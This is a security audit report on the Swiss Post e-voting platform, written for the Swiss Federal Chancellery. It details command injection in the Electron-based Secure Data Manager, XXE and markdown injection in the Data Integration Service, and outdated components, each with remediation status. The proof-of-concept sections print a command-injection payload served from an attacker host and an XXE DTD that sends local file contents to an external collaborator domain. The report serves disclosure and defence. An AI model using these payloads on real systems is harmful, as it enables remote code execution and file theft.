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Results summary

Orange Cyberdefense Switzerland SA was contracted by the Swiss Federal Chancellery to
assess the security of the E-voting web application developed by Swiss Post. To this end,
engineers acted like real attackers and searched for vulnerabilities and weaknesses within the
application to determine the risk for the voters and the secrecy and integrity of their votes, but
also the robustness of the system during a voting event. Full access to the application source
code, documentation and a test environment were available for this assessment.

No issues were identified on the publicly facing part of the application, though some
weaknesses were uncovered in the backend processes and applications which support the
platform, but are never exposed to the public.

It was identified that an attacker in a position to send inputs to the Data Integration
Service (DIS) can inject links and images that will be rendered in the Secure Data
Manager (SDM) application. Due to weaknesses in the SDM, if the real SDM user clicks on
one of the maliciously injected links, an attacker could, under specific conditions, gain control
of the computer hosting the SDM.

In the same context of an attacker able to control inputs to the DIS, it could be possible to
compromise the confidentiality of certain files on the DIS server.

Finally, one component of the SDM used for HTTP communications has a known vulnerability
that could potentially leak secrets due to its outdated version. However, the specific conditions
required to exploit the issue are not present in this case and no secrets seem to interact with
the component, so this is not considered as a risk currently.

From a normal voter standpoint, the attack surface is limited as most of the exchanges with
the server rely on cryptographic operations, and the infrastructure is well hardened. Hence,
the overall risk level of using the E-voting Web application is considered as very low. However,
in the secure Data Manager context, the risk level is considered as moderate because of
the discovered vulnerabilities. The measures implemented in e-voting and DIS patched
versions allow to considerably reduce this risk.

After reporting the issues discussed above, the Federal Chancellery requested a re-test on an
updated version of the platform (1.4.5.2). This new test showed that outside of the outdated
components, all other issues have been appropriately remediated.

High level impressions
Stengths

< Small attack surface = Qutdated components
< HTTP security headers = Content sanitisation
< HTTP content secured with cryptographic operations

<4 Reverse-proxy filter on data

Security dashboard
White-box S 2025-07-15 - 2025-07-25
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Evoting application 16 days
1.4.51

Risks by level Risks by remediation
1 1 2
0 0 0 0
Low Moderate High Critical Easy Moderate Hard

Global risk level

Attacker profiles E-voting 1.4.5.1 E-voting 1.4.5.2

DIS 2.8.5.1 DIS 2.8.5.2

1. Without a voting card

2. With a voting card

3. Secure Data Manager Context

Status by attacker profile
Objectives 1 2 3

Gain access to the internal network
Execute arbitrary commands on a server
Authentication bypass

Vote integrity

Vote secrecy
NOT COMPROMISED PARTIALLY COMPROMISED @ COMPROMISED
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Identified risks

RELATED
FLAWS

ID RISK LEVEL RISK DETAILS

With control of the inputs ingested by the

Data Integration Service, and some social P022776-01
engineering, an attacker could in certain P022776-02
conditions gain control of the computer pPQ22776-04
hosting the Secure Data Manager.

An attacker that has control over the files
ingested by the Data Integration Service
may exfiltrate internal files where the task
is performed.

P022776-03

Proposed remediation plan

RELATED
ID ACTION DIFFICULTY RISKS STATUS

Prevent the OS command injections by
sanitising the input.

Update the outdated Electron
component.

Restrict links and images to be
included in the markdown rendering.

Configure the XML parser such that it
does not resolve XML external entities.

DONE

DONE

DONE

The Status column indicates whether the respective remediation action has been applied in
version 1.4.5.2 of the e-voting platform and version 2.8.5.2 of the DIS service.
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Scope

The scope of the audit includes version 1.4.5.1 of the e-voting application (release 1.4.5.1).
The voter web portal was instantiated at the following address:

https://it.evoting.ch/vote/#/legal-
terms/D6405DE1ADS32BFB3DECFAOB1IDD4CBED

As the audited project is open source, the application's source code and development
environment, including the documentation, | provided on GitLab:

https://gitlab.com/groups/swisspost-evoting/

The project was also built and tested locally. The following versions were used:

Evoting 1.4.5.1
Verifier 1.5.5.1
Data integration service 2.8.5.1

After reporting vulnerabilities in the aforementioned versions, the Federal Chancellery
requested a review of the findings on the following updated versions:

Evoting 1.4.5.2
Verifier 1.5.5.1
Data integration service 2.8.5.2

This report has been adapted to contain the information related to this second test.

Restrictions

No social engineering or denial of service attacks were performed during this audit.

Results

The engineers performed tests both on the internet facing web platform of the e-voting, as well
as a locally deployed environment, built from the Gitlab repositories and documentation.

During the local tests, it was discovered that the XML input files that are processed by the
Data Integration Service (DIS) are a good entry point for an attacker if he/she controls
them.

This is because the DIS process is vulnerable to an XML, external entity (XXE) because
of a parsing issue. If the DIS input files are poisoned by a malicious actor, the XXE could be
leveraged to leak files stored on the host running the DIS process. However, since this machine
is never supposed to be connected to a network, the likelihood of data exfiltration is naught.

In addition, some of the XML fields allow HTML contents and markdown that will be rendered
in the Secure Data Manager (SDM) application, especially links and images. This enables
a scenario where a victim could click a link within the SDM and be redirected to a malicious
page rendered in the context of the Electron-based application. In this case, even though the
machine is not connected to a network, the malicious page could be hosted on the USB key.

Two possible scenarios were identified to leverage the injection of malicious links.
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First, the Electron application is outdated, and known vulnerabilities exist in the web browser
and the whole application. Rendering a malicious webpage is enough for an attacker to run
system commands on the host. Such exploitations are mostly related to vulnerabilities affecting
V8, the JavaScript engine that powers Electron and Chrome-based applications.

Secondly, it was discovered during this audit that the configuration code of the Electron
application is vulnerable to an OS command injection. From the context of a normal web
application tab in Electron, it's possible to call an exported custom Electron web API function
that executes an OS command. Given that this command uses a parameter of said function
as an argument without proper sanitisation, it's possible to inject arbitrary system commands
that will be run on the machine hosting the SDM.

In addition to these issues, one HTTP web client used by Java is outdated and has a known
CVE related to its version. If the redirection feature is enabled, this could leak credentials
related to the HTTP web requests. Nevertheless, in this context, the vulnerable feature is not
enabled, and the code does not highlight the use of credentials for the specific requests of this
component.

Overall, the vulnerabilities listed in this report require different privileged prerequisites and
multiple steps to ultimately compromise an SDM host. Consequently, even if the potential
impact is high, the probability of exploitation remains low.

After those issues were reported to the Swiss Federal Chancellery, a new patched version
(1.4.5.2) of the e-voting system allowed properly remediated the OS command injection, while
the XXE and HTML/markdown injection issues were fixed in version 2.8.5.2 of the DIS system.
The only remaining issues are the ones related to the use of outdated software.
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Vulnerability summary

ID Vulnerability Risk level CVSS4 Status
OS command injection in exposed
P022776-01 Electron API 6.9 FIXED
P022776-02 Outdated Electron components 5.9
P022776-03 XML eXternal Entities (XXE) Injection 2.4 FIXED
P022776-04 HTML injection 1.0 FIXED

Informational findings

ID Finding Status
P022776-05 Outdated software NOT FIXED

Explanations regarding risk, impact, exploitation and CVSS scores can be found in chapter
Complements

. The Status column indicates whether the issue was fixed in version 1.4.5.2.

Additional remarks

Supply chain attack of ESlint-config-prettier
The usage of eslint-config-prettier was discovered in the application:
E-voting 1.4.5.1

in version 9.1.0
in version 9.1.0

E-voting master (1.5.0.1)

in version 10.1.5
in version 10.1.5

and malicious versions of the package were
pushed on NPM. The following versions are considered as backdoored and contain malicious
code, referenced as :

8.10.1
9.1.1

10.1.6
10.1.7

Based on these versions, the current build process of the e-voting solution is not compromised,
but upgrading this package should be performed with care to prevent any issue. NPM removed
these malicious packages from their website, but they may still be downloaded and installed
in some specific edge cases.
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It is advised to directly upgrade to secure versions that are greater than the backdoored ones:

9.1.2
8.10.2
10.1.8
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Vulnerabilities and exploitation

P022776-01 OS command injection in exposed Electron API

IMPACT PROBABILITY CVSS4: 6.9
T T | N AV:L/AC:L/AT:P/PR:N/UI:ANVC:H/VI:LIVA:L/SC:H/SI:L/SAN
PREREQUISITES COMPROMISED ASSETS
JavaScript execution in the Electron Remote Code Execution (RCE)
application

Vulnerable components

PC-Setup SDM

PC-Online SDM

PC-Tally SDM
https://gitlab.com/swisspost-evoting/e-voting/e-voting/-/blob/e-voting-1.4.5.1/secure-data-
manager/secure-data-manager-frontend/electron/preload.js?ref_type=tags#L191

Description

Command injection attacks occur when user-supplied data is passed to a system shell
instance. Command injection attacks are possible mainly because of insufficient input
validation. The operating system commands are usually executed with the privileges of the
web server running the vulnerable application.

Exploitation

In the SDM electron client of the SETUP, ONLINE and TALLY machines, the preload. js file
exposes these custom JS functions to the Electron client:

contextBridge.exposeInMainWorld('SettingsApi', {
getSettingsList: getUISettingsList,

saveSettings: saveUISettings,
deleteSettings: deleteUISettings, isValidPath: isValidPath,

The input of  the saveUISettings function is passed to the
writeApplicationProperties function:

function saveUISettings(UISettings, startSDM) {
const convertedRawSettings = convertToRawSettings(UISettings);
<REDACTED>
if (startSDM) {

writeApplicationProperties(convertedRawSettings);

}

The writeApplicationProperties function calls the startupSdmBackend function with
the mode and the ID of the settings object:
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function writeApplicationProperties(rawSettings) {
<REDACTED>
fs.writeFile(file, properties, (err) => {

if (err) console.log(err);
startupSdmBackend(rawSettings.mode, rawSettings.id);

1)

The startupSdmBackend function then sends a synchronous IPC message to the
startup-sdm-backend channel with the mode and ID as input:

function startupSdmBackend(mode, id) {
const debugConfig = readDebugConfig();
const reply = ipcRenderer.sendSync('startup-sdm-backend', {
mode: mode, profileIld: id, debug: debugConfig.debug, useWindow:
debugConfig.useWindow,

s
<REDACTED>

The listener in the main. js file processes the input by directly injecting the ID as argument to
a CMD.exe command:

ipcMain.on('startup-sdm-backend', (event, args) => {
const modeConfig = getModeConfig(args.mode);

let batArgs = "-p profile_${args.profileId} ;
batArgs += args.debug ? ° -d ${modeConfig.debugPort}"
batArgs += args.useWindow ? " -w' : '";

sdmBackendProcess = spawn(
‘cmd.exe',
['/c', “backend-server.bat startup ${batArgs} ],
{cwd: exePath + '/resources/'},

)s

event.returnValue = {pid: sdmBackendProcess.pid};

Following this chain, the profile ID contained within the UISettings object is therefore taken
as input in the exposed saveUISettings function and injected as argument in the OS
command above.

Consequently, it is possible to execute arbitrary commands from the SDM electron, by injecting
them in the ID parameter. For example:

SettingsApi.saveSettings({id:'234 -d 6090 -w & [CMD]',mode:"LAUNCHER"},1);

Proof-of-concept

The direct consequence of this command injection is that it escalates JavaScript execution to
a RCE in the context of the affected SDM.

Since the DIS (Data Integration Service) output file (configuration-anonymized.xml)
supports Markdown code ( ), it is possible to inject malicious links into the XML file
(eCHO159v4 votes.js) used as input to the DIS:

<eCH-0155:ballotQuestion>Acceptez-vous la premiére «**proposition**» exposée a ce

[lien](http://ha3.scrt.ch) ?</eCH-0155:ballotQuestion>
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This link will then be displayed in the electron client of the PC-SETUP machine, when the XML
voting configuration file (configuration-anonymized.xml) is loaded during the first step
of the voting event setup.

Préconfiguration du scrutin

Veuillez valider le scrutin et démarrer la préconfiguration.

Veuillez valider le scrutin et démarrer la ) .
/ . ' . O Recharger @ Préconfigurer
préconfiguration.

Urnes régulieres (0) Aucune urne réguliere

Urnes de test (3) CH_Testurne1[a](http://test.com)
CH_Testurne2 <script>alert() </script>
CH_Testurne4

Questions

1. Wollen Sie den ersten «Vorschlag» annehmen?

Acceptez-vous la premiere «proposition» exposée a ce lien ?

accettate la prima «proposta» ?

acceptar 'emprima «proposta» ?

1. Ja 2. Nein 3. Leer
Oui Non Blanc
Si No Bianco
Gea Na Vid

The injected link is rendered by the SDM.

The link points to a malicious server, where the following index.html file can be returned:

[ha3.scrt.ch] root@attacker:~/web$ cat index.html

<script>SettingsApi.saveSettings({id:'234 -d 6090 -w & calc.exe',mode:"LAUNCHER"},1);</script>

When the link is clicked, the SDM electron client accesses the malicious page and executes

the JavaScript function. The injected command is therefore executed on the PC-SETUP
machine:
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B Calculatrice = O X
= Programmeur
HEX ©
IDEC ©
ocT 0
BIN ©
&8 QWORD MS

> Auniveau du bit ><>< Décalage de bits

« » C &
( ) % -
7 8 9 X
4 5 6 -
1 2 3 +
AR -

The calc.exe command is triggered, in consequence of the victim clicking on the malicious link.

In terms of prerequisites, the attacker should first have enough privileges to inject the malicious
markdown content in the question fields ( ). Then, the attacker would need to host
a malicious HTML file that will call the vulnerable JavaScript function. If the host has no internet
connection, the attacker would need to host the website on the same subnetwork as the
vulnerable computer or use the USB key to host the malicious HTML file. The need to meet all
these conditions significantly reduces the likelihood of successful exploitation.

Possible solutions

When dealing with OS commands, as the risks associated to such features are high, it is highly
recommended restricting the possibilities of injections as much as possible.

If functions doing the desired system calls are already present in the programming language
and correspond to the action wished (e.g. mkdir ()), prefer using them instead of using a
broad function (e.g. exec (), system(), passthru(), etc.).

If these functions do not exist, input commands must be whitelisted and run with the least
privileges.

The minimal control is to filter malicious characters. Unfortunately, they can often be bypassed
due to incomplete blacklists.
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Remediation
In e-voting version 1.4.5.2, the id parameter is now sanitised in the utils. js file with the
isNaN () function.

if (isNaN(UISettings.id)) {
throw Error('Settings id must be a number.');

}

It was therefore not possible to reproduce the injection, and the vulnerability is considered as
fully mitigated.
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P022776-02 Outdated Electron components

IMPACT PROBABILITY CVSS4:5.9
T T | N AV:L/AC:H/AT:N/PR:N/UI:N/VC:H/VI:LIVA:L/SC:N/SI:N/SA:N
PREREQUISITES COMPROMISED ASSETS
JavaScript execution in the Electron Remote Code Execution (RCE)
application

Vulnerable components

PC-Setup SDM
PC-Online SDM
PC-Tally SDM

Description
An outdated system, or a system using outdated software is more likely to be prone to attacks
than a system with all updates and patches installed. A regular update is mandatory in order

to correct issues that could enable an attacker to compromise the normal behaviour of the
application.

Exploitation

On the different backend computers, the Secure Data Manager (SDM) application is
launched with different modes to perform their tasks (setup, online, tally).

The SDM application is based on the Electron framework, which embeds a web browser to
simplify cross-platform code development.

B Setup | Preconfiguration of Election Event — o X

SETUP EN~ s=mmnmr\\a’:j§:
@ Preconfigure
Preconfiguration of Election Event

QO Precompute

Please validate the election event configuration and start the preconfiguration.

.

O Export [1]

D) e
Q Import [2 . . . )
’ (2 / Please validate the Election event contest and start the preconfiguration. O Reload © Preconfigure

O Generate

QO Print File
8 N Election Event

O Export [3]

Alias

QO Electoral Board Name

QO Verifier (Setup) Seed Value

i \ h Contest Date 25.11.2027 00:00

O Export [4] Contest period From 06.12.2023 07:00 to 25.11.2027 23:00
Grace Period 900

" Example of the SDM run in "Setup” mode.

From the application’s web console (F12), it's possible to obtain the version of these
components:

navigator.userAgent
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'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) secure-data-

manager-frontend/1.4.5-1 Chrome/120.0.6099.291 Electron/28.3.3 Safari/537.36"

The web browser is Chrome inversion 120.0.6099.291,and Electroninversion 28.3. 3.

These versions are outdated and contain that might lead to
remote code execution on the host. For example, the following issues would arise if untrusted
JavaScript is run in the Electron application (such as using to open a malicious
web page):

, leading to RCE and sandbox escape (CVE-2024-8904).
, leading to RCE (CVE-2024-6779).

The generated risk would be similar to the vulnerability described in , as it requires
the same prerequisite (malicious JavaScript execution) and would result in the same impact
(OS command execution on the SDM host).

Possible solutions
Apply security updates

It is recommended to apply security updates on a regular basis. In this case, the Electron
application and its associated dependencies.

This vulnerability is still present in version 1.4.5.2.
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P022776-03 XML eXternal Entities (XXE) Injection

IMPACT PROBABILITY CVSS4: 2.4
| ] N AV:L/AC:L/AT:N/PR:H/UI:ANC:L/VI:N/VA:N/SC:N/SIN/SAN
PREREQUISITES COMPROMISED ASSETS
Control over files that will be ingested by Server-Side Request Forgery (SSRF)
the Data Integration Service Arbitrary file read

Vulnerable components

Data Integration Service (DIS)
Description

It is possible to define entities in an XML format by defining them in a Document Type
Declaration (DTD). Whenever an element that is declared in the DTD is encountered in a file,
it is then replaced by the value which has been specified in the type declaration. In the following
example, an entity name "test" is defined:

<?xml version="1.0"?>
<IDOCTYPE fool[
<!ELEMENT foo ANY>
<IENTITY test 'hello world'>

1>

<foo>&test;</foo>

When an XML parser goes through this document, it will replace all occurrences of stest;
with the value hello world.

There are many predefined entities such as squot;, &1t; or &gt; which are used in place
of the special XML characters ", < and >. However, if an attacker can modify the DTD of an
XML file, they can easily define new ones.

One interesting point about XML entities is the fact that they can reference an external
document that contains the code defining a particular entity. All occurrences of the given entity
are then replaced by the content of the external file. This file must be valid XML data, or an
error will be generated when parsed.

An XXE attack is possible when an attacker can control the DTD portion of an XML file and
add external entities to it. It is then possible to read the content of various files on the server.
For example, the following document can be used to read the /etc/passwd file on a Linux
server.

<?xml version="1.0"?>
<IDOCTYPE fool[
<!ELEMENT foo ANY>
<IENTITY test SYSTEM 'file:///etc/passwd'>

1>

<foo>&test;</foo>

External entities are not limited to local files, but can also be fetched over other protocols such
as HTTP or FTP, depending on the server's configuration. This can be used to request internal
resources which should not be accessible to an external attacker. This type of flaw is often
referred to as Server-Side Request Forgery (SSRF).
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Another dangerous feature defined within the DTD is parameter entities. They behave like
macros that can be used only within the DTD itself. For example, the following syntax indicates
that all occurrences of $dtd; in the DTD must be replaced by the XML content from the
attacker's website:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [

<IENTITY % dtd SYSTEM "http://example.com/evil.dtd">
%dtd; 1>

Exploitation

When building the voting configuration file with the Data Integration Service
(configuration-anonymized.xml), an XML file (file.param.xml) is provided as input.
When it is parsed by the DIS, external entities are interpreted and can leak partial file contents
from the machine where the DIS is run.

As a proof of concept, the following line was added on the top of the vulnerable file:

<?xml version="1.0" encoding="utf-8"?>
<IDOCTYPE foo [<!ENTITY % xxe SYSTEM "http://ha3.scrt.ch/test.dtd"> %xxe;]>

[...]

The DTD hosted on the targeted server includes a payload that enables partial disclosure of a
targeted local file. A DTD file is used to gain more control over the XXE exploitation.

[ha3.scrt.ch] root@attacker:~/web$ cat test.dtd

<IENTITY % file SYSTEM "file:///C:/Users/Seb/Desktop/evoting-2/test.txt">
<IENTITY % eval "<!ENTITY &i#x25; exfiltrate SYSTEM
"http://cgwfmzo75gs19hjcyakzgd4nue@5oycn.oastify.com/?x=%file; ' >">

%eval;

%exfiltrate;

Here, as an example, the file test. txt is targeted and contains a simple string:

C:\Users\Seb\Desktop\evoting-2>type test.txt

thisisthecontentofalocalfile

When executing the run-data-integration-service.bat script to generate the
configuration, the DIS parses the infected XML file and fetches the external DTD.

root@attacker:~/web$ sudo python3 -m http.server 80

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
62.167 .XX.XXX - - [17/3Jul/2025 12:11:05] "GET /test.dtd HTTP/1.1" 200 -

This results in the execution of the payload and the exfiltration of the test . txt file to the Burp
Collaborator.
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2025-Jul-22 14:02:41.268 UTC cgwimzoT5gs19hjcyakzgd4nuelSoycn

Host: ¢
Lccept:

The (partial) content of local files can be exfiltrated.

In the context of this audit, the probability of exploitation remains low, given that the machines
are not supposed to have access to the internet. Indeed, the attacker would need to be on the
same subnetwork to host a reachable webserver that could provide a DTD and receive the
exfiltrated data.

Nevertheless, in a more advanced scenario, local Windows DTD files could be used instead
of the remote DTD and the content could be exfiltrated through DNS queries, if they are not
filtered by the firewall. This would remove the need of hosting a webserver whose access might
be blocked by the firewall configuration. However, if the device is not even connected to a
network, which should be the case in production, the impact would be inexistant.

Possible solutions
Disable XML external entities
This vulnerability can be remediated in two ways:

by making sure a user cannot control the DTD part of an XML document that is sent to
the server;
by completely disabling external entities in the XML parser's configuration.

In the latter case, the configuration depends on the parser that is being used. In .NET for
example, they can be disabled with the following code.

XmlReaderSettings settings = new XmlReaderSettings();

settings.DtdProcessing = DtdProcessing.Prohibit;
XmlReader reader = XmlReader.Create(stream, settings);

In Java, if DocumentBuilderFactory is used, external entities and parameter entities can
be disabled with the following code.

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl”, true);
dbf.setXIncludeAware(false);

dbf.setExpandEntityReferences(false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities"”, false);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);

More information regarding this particular flaw can be found on the OWASP website.
Block outbound traffic

In the case of an Out-of-Bound (OOB) exploitation, an attacker will likely need to coerce the
server hosting the vulnerable application to send requests to a third-party server. Blocking
such outbound connections would thus render the exploitation significantly harder or even
completely prevent it. Therefore, although it would not fix the underlying issue, enforcing proper
network filtering rules is also worth considering.
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Remediation

In patched DIS version 2.8.5.2, this vulnerability was fixed by removing the component
responsible for parsing external entities. Therefore, the DIS does not process external entities
that are injected in the file.param.xml file anymore and the vulnerability is considered as

fully mitigated.
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P022776-04 HTML injection

IMPACT PROBABILITY CVSS4: 1.0
N | ] | AV:L/AC:H/AT:N/PR:H/UI:A/VC:N/VI:N/VA:N/SC:L/SI:.L/SA:N
PREREQUISITES COMPROMISED ASSETS
Social Engineering (SE) JavaScript execution in the SDM context

Control over files that will be ingested by
the Data Integration Service

Malicious webserver reachable by the
SDM application

Vulnerable components

Data Integration Service (DIS)
https://gitlab.com/swisspost-evoting/e-voting/e-voting/-/blob/e-voting-1.4.5.1/secure-data-
manager/secure-data-manager-frontend/libs/shared/feature-
summary/src/lib/summary/vote.summary.component.html?ref_type=tags#L80

Description

When dealing with user-generated content, one of the most well-known risks is HTML injection.
This happens when an attacker submits HTML code that gets rendered directly in a web page
without proper sanitisation. If left unchecked, it can lead to serious issues like displaying
malicious scripts, stealing user data, or tricking users into performing unintended actions. Even
something as simple as letting a user include a bold tag or a link can open the door to Cross-
Site Scripting (XSS) or phishing attacks.

Markdown, while much simpler than raw HTML, isn't immune to these kinds of problems. It's a
popular format for writing clean, readable text, but when users are allowed to submit Markdown
that gets rendered in a trusted environment, it becomes a potential attack vector. Markdown
makes it easy to embed links and images, and attackers can take advantage of this by inserting
malicious URLs. These might look innocent at first glance but could redirect users to phishing
sites or trigger requests to remote servers that quietly collect sensitive data. If this content
appears in privileged views, it can be used to deceive users, leak information, or even chain
into more complex exploits. To stay safe, any system that parses Markdown from users must
carefully sanitise and validate all embedded content, especially links and image sources.

Exploitation
Markdown injection with control of the DIS input file

The first step to conduct a voting event is to parse XML input files to build the voting
configuration file. The fields related to the voting questions allow Markdown code. Therefore,
links and images can be injected into those questions and will be reflected in the configuration
file.

Inthe eCHO159v4 votes.xml file, the following link and image are injected.

<eCH-0155:ballotQuestion>Acceptez-vous la **«contre proposition»** ?
I[test] (http://d8mge@g8xhk21ibdgbc@8ewomfs6g@4p.oastify.com) \n\n\oO

[test2] (http://d8mge@g8xhk21ibdgbc@8ewomfs6g04p.oastify.com) </eCH-0155:ballotQuestion>

When the configuration is loaded by the electron client of the SETUP machine, the injected
markdown is interpreted by the SDM client:
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2b. Wollen Sie den «Gegenvorschlag» annehmen?

Acceptez-vous la «contre proposition» ? w.test \n\n\0 test2

Accettare la «contra proposta» ?

Acceptar la «cuntra proposta» ?
The HTML is rendered in the "Preconfigure page".

Links can be leveraged for instance to escape the SDM context and display any HTML content
in the Electron browser.

If an external link is clicked by the victim in the SDM application (Electron-based), it would be
possible to render a fully malicious HTML page, with access to JavaScript execution. For
instance, the vulnerabilities and could be exploited from this
perspective to run OS system commands on the SDM host. Note that in the case of a fully
offline server, the malicious page would need to be hosted on the USB key to exploit the issue.

This injection was only identified in the setup part of the SDM application.
HTML injection with control of the DIS output file (and ability to sign the XML files)

Pure HTML content can also be injected instead of markdown objects. However, during the
tests, only Markdown type-related components were authorised to be rendered, such as
images or links (img or a). However, HTML content is processed differently by the DIS, so
additional steps are required to render it. Given that there is no probable scenario allowing raw
HTML injection, this part is more informational, and the Markdown injection described above
is far more impactful.

Similarly, as before, the eCHO159v4 votes.xml file is modified:

<eCH-0155:ballotQuestion>Acceptez-vous la premiére «**proposition**» asd &lt;a href=b&gt;</eCH-

0155:ballotQuestion>

Then, the DIS step is applied to create the configuration.xml and configuration-
anonymous.xml files. For the HTML to be rendered, the attacker should replace the
generated configuration-anonymous.xml content with the one from the
configuration.xml file. After that, loading this content in the Setup SDM results in
successful injection of the raw HTML tag a.

Questions
1. Wollen Sie den ersten «Vorschlag» annehmen?
Acceptez-vous la premiére «proposition» asd

accettate la prima «proposta» ?

Jrces Network Performance Memory Application Security Lighthouse Recorder 2\
<strong>proposition</strong> a
asd "
<a href="b"></fa> == §
/13

The HTML content is rendered in the "Preconfigure" step.
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The step explained above is to simplify the exploitation. Instead of replacing the two XML files,
an attacker that can generate them would also have access to the key used to sign the files.
They could then craft a malicious XML file and sign it with the authorised credentials.

No automatic JavaScript execution payloads were discovered during the assessment since
Angular properly sanitises the HTML content before rendering it. An additional click would be
required by the user to have any meaningful impact.

Possible solutions

It is essential to sanitise user-supplied content before rendering. This involves stripping or
validating any URLs embedded in the DIS input files to ensure they do not point to untrusted
or malicious sources.

Additionally, if external content isn't required, consider disabling or restricting image and link
rendering entirely. The same data is used on the publicly accessible voting website, where
images and links are not rendered due to more strict implemented security measures.

Remediation

In patched DIS version 2.8.5.2, some additional checks were implemented to sanitise the XML
input content.

As a result, markdown links and images injected in the input are not reflected in the
configuration-anonymized.xml file anymore. The vulnerability is therefore considered
as fully mitigated.

References

https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Ch
eat_Sheet.html
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Informational findings

P022776-05 Outdated software

PREREQUISITES COMPROMISED ASSETS
Configuration allowing redirect by the Credentials
component

Vulnerable components

ReactorNetty in the Online application of the Secure Data Manager
https://gitlab.com/swisspost-evoting/e-voting/e-voting/-/blob/e-voting-1.4.5.1/secure-data-
manager/secure-data-manager-
backend/src/main/java/ch/post/it/evoting/securedatamanager/shared/WebClientFactory.jav
a

Description

An outdated system, or a system using outdated software is more likely to be prone to attacks
than a system with all updates and patches installed. A regular update is mandatory in order
to correct issues that could enable an attacker to compromise the normal behaviour of the
application.

Exploitation

In the computer labelled as Online, some of the requests are performed by the component
ReactorNetty.

GET /vs-ws-rest/actuator/health HTTP/1.1

user-agent: ReactorNetty/1.2.5
Accept: application/json

This component is in version 1.2.5, which is vulnerable to . If the HTTP client
is explicitly configured to follow redirects, this component could leak credentials. In the

, the followRedirects flag was not explicitly set to true when the
HttpClient of ReactorNetty is called. Thus, this is not vulnerable in the current context.

Possible solutions
Apply security updates

It is recommended to apply security updates on a regular basis. In this case, the ReactorNetty
component should be updated to its latest secure version.

This is issue is still present in version 1.4.5.2.

References
https://spring.io/security/cve-2025-22227
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Legend
Orange Cyberdefense Switzerland Score

For each vulnerability discovered and detailed in this report, Orange Cyberdefense Switzerland
provides a threat assessment based on two indicators, an Impact and a Probability of
exploitation.

Impact of the vulnerability in case of successful exploitation

IMPACT ("How bad?")
[ | ] | ] J |  J J J |
N/A Weak Medium High Critical
PROBABILITY Probability that the vulnerability will be discovered and exploited
by an attacker?
[ | ] | ] J |  J J J |
N/A Low Medium High Very high

However, it is important to keep in mind that this assessment is solely based on the information
available to the engineers at the time of the audit. The engineers are not necessarily aware of
all the details regarding the vulnerable applications or systems. Consequently, these ratings
should always be reconsidered based on the context of the information system as a whole.

CVSS Score

In addition to its own scoring system, Orange Cyberdefense Switzerland also provides an
evaluation based on the Common Vulnerability Scoring System (CVSS), for each
vulnerability.

As a reminder, CVSS is a vulnerability scoring system designed to provide an open and
standardised method for rating IT vulnerabilities. CVSS helps organisations prioritise and
coordinate a joint response to security vulnerabilities by communicating the base, temporal
and environmental properties of a vulnerability. More information about the CVSS scoring
system can be found here:
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Risk calculation

Each risk presented in this report is calculated as the product of an impact and a probability
of exploitation, as defined in the matrix below.

Overall Risk Severity

CRITICAL | Critical Critical
o HIGH Moderate Moderate [ RMHCRE L
8 MODERATE Low Moderate Moderate
E LOW Low Low Moderate
LOW MODERATE HIGH \ CRITICAL \

Probability
Orange Cyberdefense Switzerland provides an estimation of the effort required to fix each
vulnerability and thus mitigate their associated risk. It should be noted that this assessment is

based on Orange Cyberdefense Switzerland's experience, and as such might not fully reflect
the context of the company or organisation.

Context

The context of each vulnerability is defined by its prerequisites and a list of compromised
assets. The prerequisites represent the conditions that are required for the exploitation of a

given vulnerability (e.g.: social engineering). Compromised assets represent the theoretical or
tangible result of its exploitation (e.g.: a user account).
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